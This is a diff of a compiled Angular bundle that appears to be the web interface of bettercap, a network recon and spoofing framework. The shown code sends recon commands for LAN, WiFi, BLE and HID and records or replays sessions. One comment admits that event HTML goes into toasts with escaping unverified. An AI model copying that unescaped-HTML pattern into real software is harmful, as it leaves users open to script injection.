+ // a page refresh
+ if (firstUpdate == false && !this.api.module('api.rest').state.replaying) {
+ this.toastr.show(this.eventHTML(event), event.tag, {
+ // any dangerous stuff should already be escaped by the
+ // EventComponent anyway ... i hope ... ... i hope ...
+ enableHtml: true,
+ toastClass: 'ngx-toastr ' + this.eventClass(event)
+ });
+ }
+ }
+ };
+ MainHeaderComponent.prototype.updateEvents = function (events, firstUpdate) {
+ if (firstUpdate === void 0) { firstUpdate = false; }
+ this.sessionError = null;
+ this.counters.events = events.length;
+ if (this.counters.events == 0) {
+ this.toastr.clear();
+ }
+ else {
+ for (var i = 0; i < this.counters.events; i++) {
+ var event_1 = events[i];
+ if (this.isTrackedEvent(event_1)) {
+ this.handleTrackedEvent(event_1, firstUpdate);
+ }
+ }
+ }
+ };
+ MainHeaderComponent.prototype.logout = function () {
+ this.api.logout();
+ this.router.navigateByUrl("/login");
+ };
+ MainHeaderComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-main-header',
+ template: __webpack_require__(/*! ./main-header.component.html */ "./src/app/components/main-header/main-header.component.html"),
+ styles: [__webpack_require__(/*! ./main-header.component.scss */ "./src/app/components/main-header/main-header.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_api_service__WEBPACK_IMPORTED_MODULE_4__["ApiService"],
+ _angular_router__WEBPACK_IMPORTED_MODULE_2__["Router"],
+ ngx_toastr__WEBPACK_IMPORTED_MODULE_3__["ToastrService"],
+ _angular_core__WEBPACK_IMPORTED_MODULE_1__["ComponentFactoryResolver"],
+ _angular_core__WEBPACK_IMPORTED_MODULE_1__["Injector"]])
+ ], MainHeaderComponent);
+ return MainHeaderComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/modicon.pipe.ts":
+/*!********************************************!*\
+ !*** ./src/app/components/modicon.pipe.ts ***!
+ \********************************************/
+/*! exports provided: ModIconPipe */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ModIconPipe", function() { return ModIconPipe; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var ModIconPipe = /** @class */ (function () {
+ function ModIconPipe() {
+ }
+ ModIconPipe.prototype.transform = function (name) {
+ if (name == 'caplets')
+ return 'scroll';
+ else if (name == 'hid')
+ return 'keyboard';
+ else if (name == 'wifi')
+ return 'wifi';
+ else if (name == 'gps')
+ return 'globe';
+ else if (name == 'update')
+ return 'download';
+ else if (name.indexOf('proxy') != -1)
+ return 'filter';
+ else if (name.indexOf('server') != -1)
+ return 'server';
+ else if (name.indexOf('recon') != -1)
+ return 'eye';
+ else if (name.indexOf('spoof') != -1)
+ return 'radiation';
+ else if (name.indexOf('net.') === 0)
+ return 'network-wired';
+ return 'tools';
+ };
+ ModIconPipe = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Pipe"])({ name: 'modicon' })
+ ], ModIconPipe);
+ return ModIconPipe;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/omnibar/omnibar.component.html":
+/*!***********************************************************!*\
+ !*** ./src/app/components/omnibar/omnibar.component.html ***!
+ \***********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n\n
\n\n
\n
\n \n \n\n \n\n \n\n \n\n \n\n
\n
\n\n
\n
\n\n
\n\n
\n\n
\n
\n
\n \n
\n
\n
\n
\n
\n
\n\n
\n
\n
\n
\n Loading session from {{ rest.state.rec_filename.split('/').pop() }} ...\n
\n
\n \n {{ rest.state.load_progress | number:'1.0-0' }}%\n \n
\n
\n
\n
\n\n
\n
\n
\n \n
\n
\n
\n
\n
\n
\n\n"
+
+/***/ }),
+
+/***/ "./src/app/components/omnibar/omnibar.component.scss":
+/*!***********************************************************!*\
+ !*** ./src/app/components/omnibar/omnibar.component.scss ***!
+ \***********************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = ".omnibar {\n padding: 5px;\n padding-top: 0;\n background-color: #343a40;\n padding-bottom: 10px;\n}\n.omnibar button {\n background-color: #333;\n color: #999;\n}\n.omnibar input,\n.omnibar select,\n.omnibar label {\n background-color: #333;\n border: 1px solid #353535;\n color: #aaa;\n}\n.omnibar select {\n font-size: 0.8rem;\n}\n.omnibar .input-group-text {\n border: 1px solid #353535;\n background-color: #333;\n color: #999;\n}\n.input-group > .custom-range {\n display: block;\n height: calc(2.25rem + 2px);\n padding: 0 0.75rem;\n font-size: 1rem;\n line-height: 1.5;\n background-clip: padding-box;\n border-radius: 0.25rem;\n transition: box-shadow 0.15s ease-in-out;\n}\n.input-group > .custom-range {\n position: relative;\n flex: 1 1 auto;\n width: 1%;\n margin-bottom: 0;\n}\n.input-group > .custom-range:focus {\n z-index: 3;\n}\n.input-group-sm > .custom-range {\n height: calc(1.8125rem + 2px);\n padding: 0 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n border-radius: 0.2rem;\n}\n.input-group-lg > .custom-range {\n height: calc(2.875rem + 2px);\n padding-left: 0 1rem;\n font-size: 1.25rem;\n line-height: 1.5;\n border-radius: 0.3rem;\n}\n.input-group > .custom-range:not(:last-child) {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n}\n.input-group > .custom-range:not(:first-child) {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvb21uaWJhci9vbW5pYmFyLmNvbXBvbmVudC5zY3NzIiwic3JjL2FwcC9jb21wb25lbnRzL29tbmliYXIvb21uaWJhci5jb21wb25lbnQuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQUNJLFlBQUE7RUFDQSxjQUFBO0VBQ0EseUJBQUE7RUFFQSxvQkFBQTtBQ0FKO0FERUk7RUFDSSxzQkFBQTtFQUNBLFdBQUE7QUNBUjtBREdJOzs7RUFHSSxzQkFBQTtFQUNBLHlCQUFBO0VBQ0EsV0FBQTtBQ0RSO0FEUUk7RUFDSSxpQkFBQTtBQ05SO0FEU0k7RUFDSSx5QkFBQTtFQUNBLHNCQUFBO0VBQ0EsV0FBQTtBQ1BSO0FEWUE7RUFDRSxjQUFBO0VBQ0EsMkJBQUE7RUFDQSxrQkFBQTtFQUNBLGVBQUE7RUFDQSxnQkFBQTtFQUNBLDRCQUFBO0VBQ0Esc0JBQUE7RUFDQSx3Q0FBQTtBQ1RGO0FEV0E7RUFDRSxrQkFBQTtFQUVBLGNBQUE7RUFDQSxTQUFBO0VBQ0EsZ0JBQUE7QUNSRjtBRFVBO0VBQ0UsVUFBQTtBQ1BGO0FEU0E7RUFDRSw2QkFBQTtFQUNBLGlCQUFBO0VBQ0EsbUJBQUE7RUFDQSxnQkFBQTtFQUNBLHFCQUFBO0FDTkY7QURRQTtFQUNFLDRCQUFBO0VBQ0Esb0JBQUE7RUFDQSxrQkFBQTtFQUNBLGdCQUFBO0VBQ0EscUJBQUE7QUNMRjtBRE9BO0VBQ0UsMEJBQUE7RUFDQSw2QkFBQTtBQ0pGO0FETUE7RUFDRSx5QkFBQTtFQUNBLDRCQUFBO0FDSEYiLCJmaWxlIjoic3JjL2FwcC9jb21wb25lbnRzL29tbmliYXIvb21uaWJhci5jb21wb25lbnQuc2NzcyIsInNvdXJjZXNDb250ZW50IjpbIi5vbW5pYmFyIHtcbiAgICBwYWRkaW5nOiA1cHg7XG4gICAgcGFkZGluZy10b3A6IDA7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzM0M2E0MDtcbiAgICAvLyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzIyMjtcbiAgICBwYWRkaW5nLWJvdHRvbTogMTBweDtcblxuICAgIGJ1dHRvbiB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IzMzMzsgXG4gICAgICAgIGNvbG9yOiAjOTk5O1xuICAgIH1cblxuICAgIGlucHV0LFxuICAgIHNlbGVjdCxcbiAgICBsYWJlbCB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IzMzMzsgXG4gICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzNTM1MzU7IFxuICAgICAgICBjb2xvcjogI2FhYTtcbiAgICB9XG5cbiAgICBsYWJlbCB7XG5cbiAgICB9XG5cbiAgICBzZWxlY3Qge1xuICAgICAgICBmb250LXNpemU6IC44cmVtO1xuICAgIH1cblxuICAgIC5pbnB1dC1ncm91cC10ZXh0IHtcbiAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTsgXG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IzMzMzsgXG4gICAgICAgIGNvbG9yOiAjOTk5O1xuICAgIH1cbn1cblxuLy8gaHR0cHM6Ly9naXRodWIuY29tL3R3YnMvYm9vdHN0cmFwL2lzc3Vlcy8yNzU3MlxuLmlucHV0LWdyb3VwID4gLmN1c3RvbS1yYW5nZSB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBoZWlnaHQ6IGNhbGMoMi4yNXJlbSArIDJweCk7XG4gIHBhZGRpbmc6IDAgLjc1cmVtO1xuICBmb250LXNpemU6IDFyZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjU7XG4gIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7XG4gIGJvcmRlci1yYWRpdXM6IC4yNXJlbTtcbiAgdHJhbnNpdGlvbjogYm94LXNoYWRvdyAuMTVzIGVhc2UtaW4tb3V0O1xufVxuLmlucHV0LWdyb3VwID4gLmN1c3RvbS1yYW5nZSB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgLW1zLWZsZXg6IDEgMSBhdXRvO1xuICBmbGV4OiAxIDEgYXV0bztcbiAgd2lkdGg6IDElO1xuICBtYXJnaW4tYm90dG9tOiAwO1xufVxuLmlucHV0LWdyb3VwID4gLmN1c3RvbS1yYW5nZTpmb2N1cyB7XG4gIHotaW5kZXg6IDM7XG59XG4uaW5wdXQtZ3JvdXAtc20gPiAuY3VzdG9tLXJhbmdlIHtcbiAgaGVpZ2h0OiBjYWxjKDEuODEyNXJlbSArIDJweCk7XG4gIHBhZGRpbmc6IDAgLjVyZW07XG4gIGZvbnQtc2l6ZTogLjg3NXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYm9yZGVyLXJhZGl1czogLjJyZW07XG59XG4uaW5wdXQtZ3JvdXAtbGcgPiAuY3VzdG9tLXJhbmdlIHtcbiAgaGVpZ2h0OiBjYWxjKDIuODc1cmVtICsgMnB4KTtcbiAgcGFkZGluZy1sZWZ0OiAwIDFyZW07XG4gIGZvbnQtc2l6ZTogMS4yNXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYm9yZGVyLXJhZGl1czogLjNyZW07XG59XG4uaW5wdXQtZ3JvdXAgPiAuY3VzdG9tLXJhbmdlOm5vdCg6bGFzdC1jaGlsZCkge1xuICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG59XG4uaW5wdXQtZ3JvdXAgPiAuY3VzdG9tLXJhbmdlOm5vdCg6Zmlyc3QtY2hpbGQpIHtcbiAgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMDtcbiAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbn1cblxuXG4iLCIub21uaWJhciB7XG4gIHBhZGRpbmc6IDVweDtcbiAgcGFkZGluZy10b3A6IDA7XG4gIGJhY2tncm91bmQtY29sb3I6ICMzNDNhNDA7XG4gIHBhZGRpbmctYm90dG9tOiAxMHB4O1xufVxuLm9tbmliYXIgYnV0dG9uIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMztcbiAgY29sb3I6ICM5OTk7XG59XG4ub21uaWJhciBpbnB1dCxcbi5vbW5pYmFyIHNlbGVjdCxcbi5vbW5pYmFyIGxhYmVsIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMztcbiAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTtcbiAgY29sb3I6ICNhYWE7XG59XG4ub21uaWJhciBzZWxlY3Qge1xuICBmb250LXNpemU6IDAuOHJlbTtcbn1cbi5vbW5pYmFyIC5pbnB1dC1ncm91cC10ZXh0IHtcbiAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMztcbiAgY29sb3I6ICM5OTk7XG59XG5cbi5pbnB1dC1ncm91cCA+IC5jdXN0b20tcmFuZ2Uge1xuICBkaXNwbGF5OiBibG9jaztcbiAgaGVpZ2h0OiBjYWxjKDIuMjVyZW0gKyAycHgpO1xuICBwYWRkaW5nOiAwIDAuNzVyZW07XG4gIGZvbnQtc2l6ZTogMXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYmFja2dyb3VuZC1jbGlwOiBwYWRkaW5nLWJveDtcbiAgYm9yZGVyLXJhZGl1czogMC4yNXJlbTtcbiAgdHJhbnNpdGlvbjogYm94LXNoYWRvdyAwLjE1cyBlYXNlLWluLW91dDtcbn1cblxuLmlucHV0LWdyb3VwID4gLmN1c3RvbS1yYW5nZSB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgLW1zLWZsZXg6IDEgMSBhdXRvO1xuICBmbGV4OiAxIDEgYXV0bztcbiAgd2lkdGg6IDElO1xuICBtYXJnaW4tYm90dG9tOiAwO1xufVxuXG4uaW5wdXQtZ3JvdXAgPiAuY3VzdG9tLXJhbmdlOmZvY3VzIHtcbiAgei1pbmRleDogMztcbn1cblxuLmlucHV0LWdyb3VwLXNtID4gLmN1c3RvbS1yYW5nZSB7XG4gIGhlaWdodDogY2FsYygxLjgxMjVyZW0gKyAycHgpO1xuICBwYWRkaW5nOiAwIDAuNXJlbTtcbiAgZm9udC1zaXplOiAwLjg3NXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYm9yZGVyLXJhZGl1czogMC4ycmVtO1xufVxuXG4uaW5wdXQtZ3JvdXAtbGcgPiAuY3VzdG9tLXJhbmdlIHtcbiAgaGVpZ2h0OiBjYWxjKDIuODc1cmVtICsgMnB4KTtcbiAgcGFkZGluZy1sZWZ0OiAwIDFyZW07XG4gIGZvbnQtc2l6ZTogMS4yNXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYm9yZGVyLXJhZGl1czogMC4zcmVtO1xufVxuXG4uaW5wdXQtZ3JvdXAgPiAuY3VzdG9tLXJhbmdlOm5vdCg6bGFzdC1jaGlsZCkge1xuICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG59XG5cbi5pbnB1dC1ncm91cCA+IC5jdXN0b20tcmFuZ2U6bm90KDpmaXJzdC1jaGlsZCkge1xuICBib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAwO1xuICBib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOiAwO1xufSJdfQ== */"
+
+/***/ }),
+
+/***/ "./src/app/components/omnibar/omnibar.component.ts":
+/*!*********************************************************!*\
+ !*** ./src/app/components/omnibar/omnibar.component.ts ***!
+ \*********************************************************/
+/*! exports provided: OmnibarComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "OmnibarComponent", function() { return OmnibarComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _angular_router__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @angular/router */ "./node_modules/@angular/router/fesm5/router.js");
+/* harmony import */ var rxjs_operators__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! rxjs/operators */ "./node_modules/rxjs/_esm5/operators/index.js");
+/* harmony import */ var _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../services/omnibar.service */ "./src/app/services/omnibar.service.ts");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var ngx_toastr__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ngx-toastr */ "./node_modules/ngx-toastr/fesm5/ngx-toastr.js");
+
+
+
+
+
+
+
+// due to https://github.com/ng-bootstrap/ng-bootstrap/issues/917
+var handlers = [];
+var params = [];
+var OmnibarComponent = /** @class */ (function () {
+ function OmnibarComponent(svc, api, toastr, router) {
+ this.svc = svc;
+ this.api = api;
+ this.toastr = toastr;
+ this.router = router;
+ this.modules = {};
+ this.clearCmd = "";
+ this.restorePause = false;
+ this.withCmd = false;
+ this.withLimit = false;
+ this.withIfaces = false;
+ this.enabled = {};
+ this.cmd = '';
+ this.ifaces = [];
+ this.rest = null;
+ this.configs = {
+ '/lan': {
+ 'modules': {
+ 'net.recon': 'net.recon',
+ 'net.probe': 'net.probe'
+ },
+ 'clearCmd': 'net.clear',
+ 'withCmd': true
+ },
+ '/wifi': {
+ 'modules': { 'wifi': 'wifi.recon' },
+ 'clearCmd': 'wifi.clear',
+ 'withCmd': true,
+ 'withIfaces': true
+ },
+ '/ble': {
+ 'modules': { 'ble.recon': 'ble.recon' },
+ 'clearCmd': 'ble.clear',
+ 'withCmd': true
+ },
+ '/hid': {
+ 'modules': { 'hid': 'hid.recon' },
+ 'clearCmd': 'hid.clear',
+ 'withCmd': true,
+ },
+ '/gps': {
+ 'modules': { 'gps': 'gps' },
+ 'withCmd': true,
+ },
+ '/caplets': {
+ 'withCmd': true
+ },
+ '/advanced': {
+ 'withCmd': true
+ },
+ '/events': {
+ 'clearCmd': 'events.clear',
+ 'withCmd': true,
+ 'withLimit': true
+ },
+ };
+ }
+ OmnibarComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.router.events
+ .subscribe(function (event) {
+ if (event instanceof _angular_router__WEBPACK_IMPORTED_MODULE_2__["NavigationStart"]) {
+ _this.updateState(event.url);
+ }
+ });
+ this.updateState(this.router.url);
+ this.update();
+ this.api.onNewData.subscribe(function (session) {
+ _this.update();
+ if (_this.restorePause) {
+ _this.restorePause = false;
+ _this.api.paused = true;
+ }
+ });
+ };
+ OmnibarComponent.prototype.showRecordModal = function () {
+ $('#recordFile').val('~/bettercap-session.record');
+ // https://stackoverflow.com/questions/10636667/bootstrap-modal-appearing-under-background
+ $('#recordModal').appendTo('body').modal('show');
+ };
+ OmnibarComponent.prototype.doRecord = function () {
+ $('#recordModal').modal('hide');
+ var file = $('#recordFile').val();
+ this.api.cmd("api.rest.record " + file);
+ };
+ OmnibarComponent.prototype.stopRecording = function () {
+ this.api.cmd("api.rest.record off");
+ };
+ OmnibarComponent.prototype.showReplayModal = function () {
+ $('#replayFile').val('~/bettercap-session.record');
+ // https://stackoverflow.com/questions/10636667/bootstrap-modal-appearing-under-background
+ $('#replayModal').appendTo('body').modal('show');
+ };
+ OmnibarComponent.prototype.doReplay = function () {
+ $('#replayModal').modal('hide');
+ var file = $('#replayFile').val();
+ this.api.cmd("api.rest.replay " + file);
+ this.rest.state.load_progress = 0.0;
+ $('#loadingModal').appendTo('body').modal({
+ backdrop: 'static',
+ keyboard: false
+ });
+ };
+ OmnibarComponent.prototype.curReplaytime = function () {
+ var cur = new Date(Date.parse(this.api.session.polled_at));
+ var start = new Date(Date.parse(this.rest.state.rec_started));
+ var diff = cur.getTime() - start.getTime();
+ return String(Math.floor(diff / 1000));
+ };
+ OmnibarComponent.prototype.setReplayFrame = function (frame) {
+ this.rest.state.rec_cur_frame =
+ this.api.sessionFrom =
+ this.api.eventsFrom = frame;
+ var wasPaused = this.api.paused;
+ // unpause, wait for an update and restore pause if needed
+ this.api.paused = false;
+ if (wasPaused) {
+ this.restorePause = true;
+ }
+ };
+ OmnibarComponent.prototype.stopReplaying = function () {
+ this.api.cmd("api.rest.replay off");
+ };
+ OmnibarComponent.prototype.replayPerc = function () {
+ var perc = parseInt(String((this.rest.state.rec_cur_frame / this.rest.state.rec_frames) * 100));
+ return String(perc);
+ };
+ OmnibarComponent.prototype.updateState = function (url) {
+ this.modules = {};
+ this.clearCmd = '';
+ this.withCmd = true;
+ this.withLimit = false;
+ this.withIfaces = false;
+ for (var path in this.configs) {
+ if (url.indexOf(path) === 0) {
+ for (var attr in this.configs[path]) {
+ this[attr] = this.configs[path][attr];
+ }
+ return;
+ }
+ }
+ };
+ OmnibarComponent.prototype.update = function () {
+ this.rest = this.api.module('api.rest');
+ if (this.rest.state.load_progress == 100.0) {
+ $('#loadingModal').modal('hide');
+ }
+ handlers = [];
+ params = [];
+ for (var i = 0; i < this.api.session.modules.length; i++) {
+ var mod = this.api.session.modules[i];
+ this.enabled[mod.name] = mod.running;
+ for (var j = 0; j < mod.handlers.length; j++) {
+ handlers.push(mod.handlers[j].name);
+ }
+ for (var name_1 in mod.parameters) {
+ params.push(mod.parameters[name_1].name);
+ }
+ }
+ this.ifaces = [];
+ for (var i = 0; i < this.api.session.interfaces.length; i++) {
+ var iface = this.api.session.interfaces[i];
+ if (iface.addresses.length == 0 && !iface.flags.includes('LOOPBACK')) {
+ this.ifaces.push(iface);
+ }
+ }
+ };
+ OmnibarComponent.prototype.ngOnDestroy = function () {
+ };
+ OmnibarComponent.prototype.onClearClicked = function () {
+ if (confirm("This will clear the records from both the API and the UI, continue?")) {
+ this.api.cmd(this.clearCmd);
+ }
+ };
+ OmnibarComponent.prototype.isWifiIface = function (iface) {
+ var wif = this.api.session.env.data['wifi.interface'];
+ if (wif == '') {
+ return iface.name == this.api.session.interface.hostname;
+ }
+ return iface.name == wif;
+ };
+ OmnibarComponent.prototype.onSetWifiInterface = function (name) {
+ this.api.cmd('set wifi.interface ' + name);
+ this.toastr.info("Set wifi.interface to " + name);
+ };
+ OmnibarComponent.prototype.onModuleToggleClicked = function (mod) {
+ this.update();
+ var toggle = this.enabled[mod.key] ? 'off' : 'on';
+ var selected = $('#wifiiface').val();
+ var bar = this;
+ var cb = function () {
+ bar.enabled[mod.key] = !bar.enabled[mod.key];
+ bar.api.cmd(mod.value + ' ' + toggle);
+ };
+ if (selected && toggle == 'on' && this.withIfaces) {
+ this.api.cmd('set wifi.interface ' + selected, true).subscribe(function (val) {
+ cb();
+ }, function (error) {
+ cb();
+ }, function () { });
+ }
+ else {
+ cb();
+ }
+ };
+ OmnibarComponent.prototype.searchCommand = function (text$) {
+ return text$.pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_3__["distinctUntilChanged"])(), Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_3__["map"])(function (term) {
+ if (term.length < 2)
+ return [];
+ var lwr = term.toLowerCase();
+ if (lwr.indexOf('set ') === 0) {
+ var par_1 = lwr.substring(4);
+ return params
+ .filter(function (p) { return p.toLowerCase().indexOf(par_1) > -1; })
+ .map(function (p) { return 'set ' + p; });
+ }
+ return handlers.filter(function (h) { return h.toLowerCase().indexOf(lwr) > -1; });
+ }));
+ };
+ OmnibarComponent.prototype.onCmd = function () {
+ var cmd = this.cmd.trim();
+ if (cmd.length > 0) {
+ this.cmd = '';
+ this.api.cmd(cmd);
+ }
+ };
+ OmnibarComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'omnibar',
+ template: __webpack_require__(/*! ./omnibar.component.html */ "./src/app/components/omnibar/omnibar.component.html"),
+ styles: [__webpack_require__(/*! ./omnibar.component.scss */ "./src/app/components/omnibar/omnibar.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__["OmniBarService"], _services_api_service__WEBPACK_IMPORTED_MODULE_5__["ApiService"], ngx_toastr__WEBPACK_IMPORTED_MODULE_6__["ToastrService"], _angular_router__WEBPACK_IMPORTED_MODULE_2__["Router"]])
+ ], OmnibarComponent);
+ return OmnibarComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/position/position.component.html":
+/*!*************************************************************!*\
+ !*** ./src/app/components/position/position.component.html ***!
+ \*************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n\n
\n \n \n | \n \n Not running\n \n | \n\n \n \n \n No satellites\n \n | \n\n 0\">Updated | \n 0\">\n {{ api.session.gps.Updated | date:'HH:mm:ss' }} \n | \n\n \n \n {{ gps.key }} | \n {{ gps.value }} | \n \n \n \n\n
\n \n
\n\n
\n
\n"
+
+/***/ }),
+
+/***/ "./src/app/components/position/position.component.scss":
+/*!*************************************************************!*\
+ !*** ./src/app/components/position/position.component.scss ***!
+ \*************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "div.map {\n width: 100%;\n height: 95%;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvcG9zaXRpb24vcG9zaXRpb24uY29tcG9uZW50LnNjc3MiLCJzcmMvYXBwL2NvbXBvbmVudHMvcG9zaXRpb24vcG9zaXRpb24uY29tcG9uZW50LnNjc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7RUFDSSxXQUFBO0VBQ0EsV0FBQTtBQ0NKIiwiZmlsZSI6InNyYy9hcHAvY29tcG9uZW50cy9wb3NpdGlvbi9wb3NpdGlvbi5jb21wb25lbnQuc2NzcyIsInNvdXJjZXNDb250ZW50IjpbImRpdi5tYXAge1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIGhlaWdodDogOTUlO1xufVxuIiwiZGl2Lm1hcCB7XG4gIHdpZHRoOiAxMDAlO1xuICBoZWlnaHQ6IDk1JTtcbn0iXX0= */"
+
+/***/ }),
+
+/***/ "./src/app/components/position/position.component.ts":
+/*!***********************************************************!*\
+ !*** ./src/app/components/position/position.component.ts ***!
+ \***********************************************************/
+/*! exports provided: PositionComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "PositionComponent", function() { return PositionComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var _services_omnibar_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../services/omnibar.service */ "./src/app/services/omnibar.service.ts");
+
+
+
+
+var PositionComponent = /** @class */ (function () {
+ function PositionComponent(api, omnibar) {
+ this.api = api;
+ this.omnibar = omnibar;
+ this.running = false;
+ this.subscriptions = [];
+ this.update();
+ }
+ PositionComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.subscriptions = [
+ this.api.onNewData.subscribe(function (session) {
+ _this.update();
+ })
+ ];
+ this.map = new ol.Map({
+ target: 'map',
+ layers: [
+ new ol.layer.Tile({
+ source: new ol.source.OSM()
+ })
+ ],
+ view: new ol.View({
+ center: ol.proj.fromLonLat([this.api.session.gps.Longitude, this.api.session.gps.Latitude]),
+ zoom: 18
+ })
+ });
+ this.addMarker(this.api.session.gps.Latitude, this.api.session.gps.Longitude);
+ };
+ PositionComponent.prototype.ngOnDestroy = function () {
+ for (var i = 0; i < this.subscriptions.length; i++) {
+ this.subscriptions[i].unsubscribe();
+ }
+ this.subscriptions = [];
+ };
+ PositionComponent.prototype.addMarker = function (lat, lng) {
+ var iconMarkerStyle = new ol.style.Style({
+ image: new ol.style.Icon({
+ opacity: 1.0,
+ scale: 0.1,
+ src: '/assets/images/logo.png'
+ })
+ });
+ var vectorLayer = new ol.layer.Vector({
+ source: new ol.source.Vector({
+ features: [new ol.Feature({
+ geometry: new ol.geom.Point(ol.proj.transform([lng, lat], 'EPSG:4326', 'EPSG:3857')),
+ })]
+ }),
+ style: iconMarkerStyle
+ });
+ if (this.prevMarker) {
+ this.map.removeLayer(this.prevMarker);
+ }
+ this.map.addLayer(vectorLayer);
+ this.prevMarker = vectorLayer;
+ };
+ /*
